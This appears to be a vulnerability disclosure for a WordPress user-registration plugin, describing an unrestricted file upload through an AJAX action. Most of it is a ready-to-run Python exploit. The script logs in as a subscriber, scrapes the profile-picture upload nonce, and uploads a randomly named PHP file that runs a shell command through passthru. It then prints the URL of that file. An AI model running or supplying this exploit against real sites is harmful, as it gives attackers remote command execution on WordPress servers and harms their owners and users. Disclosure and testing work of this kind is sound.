The plugin does not properly restrict the files to be uploaded via an AJAX action available to both unauthenticated and authenticated users, which could allow unauthenticated users to upload PHP files for example.
The following Python script automates the exploitation of this plugin by uploading a malicious PHP file (tested on a default installation of WordPress 6.1)
---
import io
import random
import re
import string
import requests
BASE_URL = input("Enter the target URL: ")
USERNAME = input("Enter the subscriber user: ")
PASSWORD = input("Enter the user password: ")
PAYLOAD = io.StringIO("""\
<?php passthru('id');
""")
FILENAME = "".join(random.choices(string.ascii_letters, k=10)) + ".php"
with requests.Session() as session:
session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
})
# Authenticate as user.
session.get(f"{BASE_URL}/wp-login.php")
response = session.post(f"{BASE_URL}/wp-login.php", data={
"log": USERNAME,
"pwd": PASSWORD,
"wp-submit": "Log In",
"testcookie": "1"
})
# Extract the "user_registration_profile_picture_upload_nonce" nonce
if '","user_registration_profile_picture_upload_nonce":"' not in response.text:
print("[!] Nonce not found :(")
exit(1)
match = re.search(r'\"user_registration_profile_picture_upload_nonce\":\"(\w+)\"', response.text)
if not match:
print("[!] Nonce not found :(")
exit(1)
nonce = match.group(1)
# Upload the payload
response = session.post(f"{BASE_URL}/wp-admin/admin-ajax.php", data={
"action": "user_registration_profile_pic_upload",
"security": nonce,
"valid_extension": "application/php",
}, files={"file": (FILENAME, PAYLOAD)})
print(response.json()["data"]["url"])